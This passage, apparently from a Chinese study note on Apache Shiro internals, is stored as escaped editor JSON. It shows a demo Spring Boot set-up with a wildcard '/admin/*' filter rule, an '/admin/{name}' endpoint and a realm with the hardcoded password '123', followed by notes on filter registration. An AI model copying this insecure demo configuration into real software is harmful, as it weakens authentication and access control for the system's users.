@Bean&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VuDd-1669619295929&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RPwn-1669619295928&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ShiroFilterFactoryBean shiroFilterFactoryBean(){&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c21K-1669619295931&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WF48-1669619295930&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n7dM-1669619295933&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ETTm-1669619295932&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        bean.setSecurityManager(securityManager());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kieb-1669619295935&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YbMd-1669619295934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        bean.setLoginUrl(\&#34;/login\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zAzq-1669619295937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NuT2-1669619295936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        bean.setSuccessUrl(\&#34;/index\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DHBE-1669619295939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W5Dt-1669619295938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        bean.setUnauthorizedUrl(\&#34;/unauthorizedurl\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SlGk-1669619295941&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bjvL-1669619295940&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Map&lt;String, String&gt; map = new LinkedHashMap&lt;&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XQgW-1669619295943&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jnRf-1669619295942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        map.put(\&#34;/doLogin/\&#34;, \&#34;anon\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t3Ed-1669619295945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PFiV-1669619295944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        map.put(\&#34;/admin/*\&#34;, \&#34;authc\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rMUB-1669619295947&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6ykq-1669619295946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        bean.setFilterChainDefinitionMap(map);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R1xj-1669619295949&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d3yJ-1669619295948&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return  bean;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CiK5-1669619295951&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z4LE-1669619295950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sFmA-1669619295953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u2nM-1669619295952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UIJ8-1669619081011&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QcfK-1669619081009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;MyRealm：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jCWp-1669619334496&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sFwz-1669619334495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jarB-1669619331038&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class MyRealm extends AuthorizingRealm {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BQXW-1669619335147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EvD1-1669619335146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @Override&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddwP-1669619335149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RIys-1669619335148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Oz7z-1669619335151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MYnx-1669619335150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o2uV-1669619335153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bW5i-1669619335152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YCij-1669619335155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sB2w-1669619335154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oWIN-1669619335157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5r4w-1669619335156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @Override&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TmIV-1669619335159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6vJi-1669619335158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ciR6-1669619335161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F067-1669619335160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String username = (String) authenticationToken.getPrincipal();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uftn-1669619335163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WQ6O-1669619335162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (!\&#34;java\&#34;.equals(username)){&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y0ug-1669619335166&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e61b-1669619335164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new UnknownAccountException(\&#34;unkown user\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m7eC-1669619335168&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5KMh-1669619335167&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BVIr-1669619335170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UwlK-1669619335169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return new SimpleAuthenticationInfo(username, \&#34;123\&#34;, getName());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gHHL-1669619335172&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oMrP-1669619335171&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pgkd-1669619335174&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Fwt-1669619335173&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q3hp-1669619335176&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6aYJ-1669619335175&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;90PA-1669619081194&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FFVJ-1669619081191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;LoginController：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EUns-1669619359908&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WFbn-1669619359906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7E5h-1669619350580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;@RestController&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ETyv-1669619360502&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IPZq-1669619360501&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class LoginController {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Otr5-1669619360504&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iqgK-1669619360503&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @PostMapping(\&#34;/doLogin\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xUvx-1669619360506&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JTfG-1669619360505&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void doLogin(String username, String password) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dceT-1669619360509&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yJJw-1669619360508&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Subject subject = SecurityUtils.getSubject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ezAT-1669619360511&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kkRR-1669619360510&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o3hu-1669619360513&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y67w-1669619360512&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            subject.login(new UsernamePasswordToken(username, password));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RIBE-1669619360515&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j0EO-1669619360514&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            System.out.println(\&#34;success\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OVBB-1669619360517&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FgAA-1669619360516&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (AuthenticationException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sV03-1669619360519&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NzSK-1669619360518&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SyGO-1669619360521&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z1YR-1669619360520&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            System.out.println(\&#34;failed\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t37Q-1669619360524&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J4UT-1669619360523&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wumX-1669619360526&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RJrd-1669619360525&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sSVq-1669619360528&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jwI2-1669619360527&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @GetMapping(\&#34;/admin/{name}\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Usv-1669619360530&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zumm-1669619360529&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public String admin(String name) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6C14-1669619360532&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m8VR-1669619360531&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return \&#34;admin page\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tX5M-1669619360534&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TgVi-1669619360533&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hO2n-1669619360536&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CWqH-1669619360535&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Cbz-1669619360538&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MBAB-1669619360537&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @GetMapping(\&#34;/login\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1VcI-1669619360540&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BblQ-1669619360539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public String  login() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EB4E-1669619360542&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Drz-1669619360541&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return \&#34;please login!\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q3X0-1669619360544&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6C8V-1669619360543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dQUi-1669619360546&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;URxu-1669619360545&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;09x7-1669618279089&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J6e5-1669618279088&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;其中比较核心的ShiroFilterFactoryBean类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YtC5-1669620094925&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4013/WEBRESOURCEa91c8195d8c95e35505fad3049100da8&#34;,&#34;width&#34;:531,&#34;height&#34;:233},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4013/WEBRESOURCEa91c8195d8c95e35505fad3049100da8&#34;,&#34;initialSize&#34;:{&#34;width&#34;:531,&#34;height&#34;:388},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pLvB-1669619600056&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0YdK-1669619600055&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过继承FactoryBean接口，在Filter beans实例化时通过getObjectFromFactoryBean方法最终调用到ShiroFilterFactoryBean中的createInstance方法将securityManager与chainResovler设置到我们的Shiro Filter中，并将该filter实例放入后置处理器列表中（）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jF1a-1669625229659&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N0U3-1669625229658&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e5tC-1669625130183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//org.springframework.boot.web.servlet.ServletContextInitializerBeans&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ADyB-1669625260723&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AULY-1669625260722&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pAUu-1669625259224&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aEWn-1669625259222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;protected void addAdaptableBeans(ListableBeanFactory beanFactory) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zptY-1669625230640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O30q-1669625230639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    MultipartConfigElement multipartConfig = this.getMultipartConfig(beanFactory);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LeQG-1669625230642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OCtt-1669625230641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    //先注册servlet，然后注册filter&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nja7-1669625234395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KfF3-1669625234392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.addAsRegistrationBean(beanFactory, Servlet.class, new ServletContextInitializerBeans.ServletRegistrationBeanAdapter(multipartConfig));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iImm-1669625230644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yIXz-1669625230643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.addAsRegistrationBean(beanFactory, Filter.class, new ServletContextInitializerBeans.FilterRegistrationBeanAdapter());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7uAD-1669625230646&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oj7y-1669625230645&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    Iterator var3 = 